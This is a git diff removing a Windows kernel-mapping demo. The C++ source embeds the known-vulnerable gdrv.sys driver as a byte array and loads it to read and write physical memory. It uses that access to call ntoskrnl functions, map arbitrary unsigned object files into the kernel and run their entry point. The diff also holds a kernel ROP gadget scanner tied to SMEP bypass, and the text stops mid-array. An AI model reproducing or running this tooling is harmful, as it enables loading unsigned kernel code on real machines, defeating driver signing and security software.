if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) - return false; - - LUID luid{}; - if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) - return false; - - TOKEN_PRIVILEGES token_state{}; - token_state.PrivilegeCount = 1; - token_state.Privileges[0].Luid = luid; - token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) - return false; - - CloseHandle(token_handle); - return true; - } - - __forceinline auto get_service_image_path(const std::string& service_name) -> std::string - { - HKEY reg_handle; - DWORD bytes_read; - char image_path[0xFF]; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - result = RegGetValueA( - reg_handle, - service_name.c_str(), - "ImagePath", - REG_SZ, - NULL, - image_path, - &bytes_read - ); - - RegCloseKey(reg_handle); - return std::string(image_path); - } - } - - __forceinline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS - { - if (!util::enable_privilege(L"SeLoadDriverPrivilege")) - return false; - - if (!util::create_service_entry("\\??\\" + - std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) - return false; - - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); - return NtLoadDriver(&driver_reg_path_unicode); - } - - __forceinline auto load(const std::vector& drv_buffer) -> std::pair - { - static const auto random_file_name = [](std::size_t length) -> std::string - { - std::srand(std::time(0)); - static const auto randchar = []() -> char - { - const char charset[] = - "0123456789" - "ABCDEFGHIJKLMNOPQRSTUVWXYZ" - "abcdefghijklmnopqrstuvwxyz"; - const std::size_t max_index = (sizeof(charset) - 1); - return charset[rand() % max_index]; - }; - - std::string str(length, 0); - std::generate_n(str.begin(), length, randchar); - return str; - }; - - const auto service_name = random_file_name(16); - const auto file_path = std::filesystem::temp_directory_path().string() + service_name; - std::ofstream output_file(file_path.c_str(), std::ios::binary); - - output_file.write((char*)drv_buffer.data(), drv_buffer.size()); - output_file.close(); - - return { load(file_path, service_name), service_name }; - } - - __forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair - { - std::vector image(buffer, buffer + size); - return load(image); - } - - __forceinline auto unload(const std::string& service_name) -> NTSTATUS - { - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString( - &driver_reg_path_unicode, &driver_rep_path_cstr, true); - - const bool unload_result = - NtUnloadDriver(&driver_reg_path_unicode); - - util::delete_service_entry(service_name); - // sometimes you cannot delete the driver off disk because there are still handles open - // to the driver, this means the driver is still loaded into the kernel... - try - { - std::filesystem::remove( - std::filesystem::temp_directory_path() - .string() + service_name); - } - catch (std::exception& e) - { - return STATUS_ABANDONED; - } - return unload_result; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/main.cpp b/demos/Theodosius-Kernel/Theodosius-VDM/main.cpp deleted file mode 100644 index ec1d272..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/main.cpp +++ /dev/null @@ -1,229 +0,0 @@ -#include -#include - -#include "theo.h" -#include "linker.hpp" -#include "vdm_ctx/vdm_ctx.hpp" -#include "utils.hpp" - -using extern_symbols_t = std::vector>; -using objs_buffer_t = std::vector; - -auto get_mapping_info(int argc, char** argv) -> std::pair -{ - auto maps_offset = 0u; - std::vector image_objs; - std::vector> extern_symbols; - - for (auto idx = 2; idx < argc; ++idx) - { - if (!strcmp(argv[idx], "--maps")) - { - maps_offset = idx + 1; - break; - } - - // another flag so we break... - if (argv[idx][0] == '-' && argv[idx][1] == '-') - continue; - - if (!lnk::get_objs(argv[idx], image_objs)) - { - std::printf("> failed to parse lib...\n"); - return {}; - } - } - - if (maps_offset) - { - for (auto idx = maps_offset; idx <= argc - 1; ++idx) - { - extern_symbols.push_back - ({ - std::filesystem::path(argv[idx]).stem().string(), - lnk::get_map_symbols(argv[idx]) - }); - } - } - - return { image_objs, extern_symbols }; -} - -int main(int argc, char** argv) -{ - if (argc < 3 || strcmp(argv[1], "--libs")) - { - std::printf("[!] invalid usage... please use one of the following:\n"); - std::printf("\t\t> theo.exe --libs one.lib two.lib three.lib\n"); - std::printf("\t\t> theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n"); - return -1; - } - - for (auto idx = 3; idx < argc; ++idx) - if (!strcmp(argv[idx], "--debug")) - dbg_print = true; - - auto [image_objs, extern_symbols] = get_mapping_info(argc, argv); - std::printf("[+] number of objs = %d\n", image_objs.size()); - - if (!image_objs.size()) - { - std::printf("[!] failed to parse .lib...\n"); - return -1; - } - - const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); - if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE) - { - std::printf("> failed to load driver... reason -> 0x%x\n", drv_status); - return -1; - } - - // read physical memory using the driver... - vdm::read_phys_t _read_phys = - [&](void* addr, void* buffer, std::size_t size) -> bool - { - return vdm::read_phys(addr, buffer, size); - }; - - // write physical memory using the driver... - vdm::write_phys_t _write_phys = - [&](void* addr, void* buffer, std::size_t size) -> bool - { - return vdm::write_phys(addr, buffer, size); - }; - - // use VDM to syscall into ExAllocatePool... - vdm::vdm_ctx vdm(_read_phys, _write_phys); - theo::malloc_t _kalloc = - [&](std::size_t size, std::uint32_t prot) -> void* - { - using ex_alloc_pool_t = - void* (*)(std::uint32_t, std::uint32_t); - - static const auto ex_alloc_pool = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "ExAllocatePool")); - - return vdm.syscall(ex_alloc_pool, NULL, size); - }; - - // use VDM to syscall into memcpy exported by ntoskrnl.exe... - theo::memcpy_t _kmemcpy = - [&](void* dest, const void* src, std::size_t size) -> void* - { - static const auto kmemcpy = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "memcpy")); - - return vdm.syscall(kmemcpy, dest, src, size); - }; - - theo::resolve_symbol_t resolve_symbol = - [&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t - { - std::uintptr_t result = 0u; - utils::kmodule::each_module - ( - [&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // false if we found the symbol... - return (!(result = utils::kmodule::get_export(drv_name, symbol_name))); - } - ); - - if (!result) - { - for (auto& [drv_name, drv_symbols] : extern_symbols) - { - // each kernel module... find a driver with a matching map file name... - // I.E ntoskrnl.exe.map == ntoskrnl.exe... - utils::kmodule::each_module - ( - [&, &drv_name = drv_name, &drv_symbols = drv_symbols] - (PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto _drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // if this is the driver, load it, loop over its sections - // calc the absolute virtual address of the symbol... - if (!strcmp(_drv_name, drv_name.c_str())) - { - const auto drv_load_addr = - reinterpret_cast( - LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES)); - - std::uint32_t section_count = 1u; - utils::pe::each_section - ( - [&, &drv_symbols = drv_symbols] - (PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool - { - if (section_count == drv_symbols[symbol_name].first) - { - result = reinterpret_cast(drv_info->ImageBase) + - section_header->VirtualAddress + drv_symbols[symbol_name].second; - - // we found the symbol... - return false; - } - - ++section_count; - // keep going over sections... - return true; - }, drv_load_addr - ); - } - - // keep looping over modules until we resolve the symbol... - return !result; - } - ); - - // if we found the symbol then break out of the loop... else keep looping... - if (result) break; - } - } - - // finally return the result... - return result; - }; - - theo::hmm_ctx drv_mapper({ _kalloc, _kmemcpy, resolve_symbol }); - if (!drv_mapper.map_objs(image_objs)) - { - std::printf("[!] failed to map object files...\n"); - return -1; - } - - const auto drv_entry = drv_mapper.get_symbol("DrvEntry"); - std::printf("> driver entry -> 0x%p\n", drv_entry); - std::getchar(); - - if (drv_entry) - { - // call driver entry... its up to you to do this using whatever method... - // with VDM you can syscall into it... with msrexec you will use msrexec::exec... - const auto entry_result = - vdm.syscall( - reinterpret_cast(drv_entry)); - } - - const auto unload_status = vdm::unload_drv(drv_handle, drv_key); - if (unload_status != STATUS_SUCCESS) - { - std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status); - return -1; - } - - std::printf("> press enter to close...\n"); - std::getchar(); -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/theo.h b/demos/Theodosius-Kernel/Theodosius-VDM/theo.h deleted file mode 100644 index 3615438..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/theo.h +++ /dev/null @@ -1,40 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -namespace obfuscation{ class obfuscate; } -namespace lnk { using obj_buffer_t = std::vector; } - -namespace theo -{ - using malloc_t = std::function; - using memcpy_t = std::function; - - using resolve_symbol_t = std::function; - using mapper_routines_t = std::tuple; - - class hmm_ctx - { - public: - explicit hmm_ctx(const mapper_routines_t& routines); - auto map_objs(std::vector& objs) -> bool; - auto get_symbol(std::string symbol_name) -> std::uintptr_t; - - malloc_t alloc; - memcpy_t mcopy; - resolve_symbol_t resolve_symbol; - private: - bool map_symbols(std::vector& objs); - bool map_obfuscated_symbols(std::vector& objs); - - bool resolve_relocs(std::vector& objs); - bool alloc_obfuscated_symbol_space(std::vector& objs); - bool alloc_symbol_space(std::vector& objs); - - std::map mapped_symbols; - std::map> obfuscated_gadgets; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/utils.hpp b/demos/Theodosius-Kernel/Theodosius-VDM/utils.hpp deleted file mode 100644 index 8a29314..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/utils.hpp +++ /dev/null @@ -1,494 +0,0 @@ -/* - WARNING: utils.hpp must be the first file included... - this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... -*/ - -#pragma once -#define _CRT_SECURE_NO_WARNINGS -#pragma comment(lib, "ntdll.lib") - -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#define PAGE_4KB 0x1000 -inline bool dbg_print = false; -#define DBG_PRINT(format, ...) \ - if (dbg_print) std::printf(format, __VA_ARGS__ ) - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; - } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 -typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION -{ - struct - { - ULONG KvaShadowEnabled : 1; - ULONG KvaShadowUserGlobal : 1; - ULONG KvaShadowPcid : 1; - ULONG KvaShadowInvpcid : 1; - ULONG KvaShadowRequired : 1; - ULONG KvaShadowRequiredAvailable : 1; - ULONG InvalidPteBit : 6; - ULONG L1DataCacheFlushSupported : 1; - ULONG L1TerminalFaultMitigationPresent : 1; - ULONG Reserved : 18; - } KvaShadowFlags; -} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; - -namespace utils -{ - inline std::map pmem_ranges{}; - __forceinline auto is_valid(std::uintptr_t addr) -> bool - { - for (auto range : pmem_ranges) - if (addr >= range.first && addr <= range.first + range.second) - return true; - - return false; - } - -#pragma pack (push, 1) - struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR - { - uint8_t type; - uint8_t shareDisposition; - uint16_t flags; - uint64_t pBegin; - uint32_t sizeButNotExactly; - uint32_t pad; - - static constexpr uint16_t cm_resource_memory_large_40{ 0x200 }; - static constexpr uint16_t cm_resource_memory_large_48{ 0x400 }; - static constexpr uint16_t cm_resource_memory_large_64{ 0x800 }; - - uint64_t size()const noexcept - { - if (flags & cm_resource_memory_large_40) - return uint64_t{ sizeButNotExactly } << 8; - else if (flags & cm_resource_memory_large_48) - return uint64_t{ sizeButNotExactly } << 16; - else if (flags & cm_resource_memory_large_64) - return uint64_t{ sizeButNotExactly } << 32; - else - return uint64_t{ sizeButNotExactly }; - } - }; - static_assert(sizeof(PhysicalMemoryPage) == 20); -#pragma pack (pop) - - inline const auto init_ranges = ([&]() -> bool - { - HKEY h_key; - DWORD type, size; - LPBYTE data; - RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); - RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size - data = new BYTE[size]; - RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); - DWORD count = *(DWORD*)(data + 16); - auto pmi = data + 24; - for (int dwIndex = 0; dwIndex < count; dwIndex++) - { -#if 0 - pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); -#else - const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) }; - pmem_ranges.emplace(page.pBegin, page.size()); -#endif - pmi += 20; - } - delete[] data; - RegCloseKey(h_key); - return true; - })(); - - inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) - { - static const auto check_mask = - [&](const char* base, const char* pattern, const char* mask) -> bool - { - for (; *mask; ++base, ++pattern, ++mask) - if (*mask == 'x' && *base != *pattern) - return false; - return true; - }; - - size -= strlen(mask); - for (auto i = 0; i <= size; ++i) - { - void* addr = (void*)&(((char*)base)[i]); - if (check_mask((char*)addr, pattern, mask)) - return reinterpret_cast(addr); - } - - return NULL; - } - - inline void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - inline std::uint32_t get_pid(const char* proc_name) - { - PROCESSENTRY32 proc_info; - proc_info.dwSize = sizeof(proc_info); - - HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); - if (proc_snapshot == INVALID_HANDLE_VALUE) - return NULL; - - Process32First(proc_snapshot, &proc_info); - if (!std::strcmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - - while (Process32Next(proc_snapshot, &proc_info)) - { - if (!std::strcmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - } - - CloseHandle(proc_snapshot); - return NULL; - } - - - namespace kmodule - { - using kmodule_callback_t = std::function; - inline void each_module(kmodule_callback_t callback) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - if (!callback(&modules->Modules[idx], full_path.c_str())) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - inline std::uintptr_t get_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const auto current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const auto result = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - inline std::uintptr_t get_export(const char* module_name, const char* export_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName - ); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - const auto module_base = - LoadLibraryExA( - full_path.c_str(), - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - if (!module_base) - { - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto image_base = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - - const auto export_um_addr = - reinterpret_cast( - GetProcAddress(module_base, export_name)); - - if (!export_um_addr) - return NULL; - - return (export_um_addr - reinterpret_cast(module_base)) + image_base; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - } - - namespace pe - { - using section_callback_t = std::function; - - // returns an std::vector containing all of the bytes of the section - // and also the RVA from the image base to the beginning of the section... - inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) - { - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // sometimes section names are not null terminated... - if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) - { - const auto section_base = - reinterpret_cast( - module_base + section_header[idx].VirtualAddress); - - const auto section_end = - reinterpret_cast( - section_base + section_header[idx].Misc.VirtualSize); - - std::vector section_bin(section_base, section_end); - return { section_bin, section_header[idx].VirtualAddress }; - } - } - - return { {}, {} }; - } - - inline void each_section(section_callback_t callback, std::uintptr_t module_base) - { - if (!module_base) - return; - - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // keep looping until the callback returns false... - if (!callback(§ion_header[idx], module_base)) - return; - } - } - } - - namespace rop - { - // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ - // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 - // just implimented the rop information from these posts... - inline std::uintptr_t find_kgadget(const char* sig, const char* mask) - { - std::uintptr_t result = 0u; - kmodule::each_module( - [&](auto kernel_image, const char* image_name) -> bool - { - utils::pe::each_section( - [&](auto section_header, std::uintptr_t image_base) -> bool - { - if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && - !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) - { - const auto rop_gadget = - utils::scan(image_base + section_header->VirtualAddress, - section_header->Misc.VirtualSize, sig, mask); - - if(rop_gadget) - result = (rop_gadget - image_base) + - reinterpret_cast(kernel_image->ImageBase); - - return !rop_gadget; - } - return true; - }, - reinterpret_cast( - LoadLibraryExA(image_name, - NULL, DONT_RESOLVE_DLL_REFERENCES)) - ); - return !result; - } - ); - return result; - } - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/vdm/raw_driver.hpp b/demos/Theodosius-Kernel/Theodosius-VDM/vdm/raw_driver.hpp deleted file mode 100644 index 40ed341..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/vdm/raw_driver.hpp +++ /dev/null @@ -1,2242 +0,0 @@ -#include - -namespace vdm -{ - // gdrv.sys, but put any vulnerable driver here... - constexpr std::uint8_t raw_driver[] = - { - 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xF0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, - 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, - 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, - 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, - 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xC8, 0x17, 0xA3, - 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, - 0x9F, 0xA9, 0x78, 0xF0, 0x82, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x78, 0xF1, - 0x9A, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x7A, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, - 0xBD, 0xC9, 0x7D, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7D, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x00, 0xA1, 0x04, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, - 0x0D, 0xF7, 0x86, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7B, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x52, 0x69, 0x63, 0x68, 0x9F, 0xA9, 0x79, 0xF0, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x08, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, - 0x0B, 0x02, 0x0E, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, - 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x2F, 0xF6, 0x00, 0x00, 0x01, 0x00, 0x60, 0x01, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x48, 0x03, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x4A, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x60, 0x41, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x8F, 0x2A, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0xA0, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, - 0x2E, 0x70, 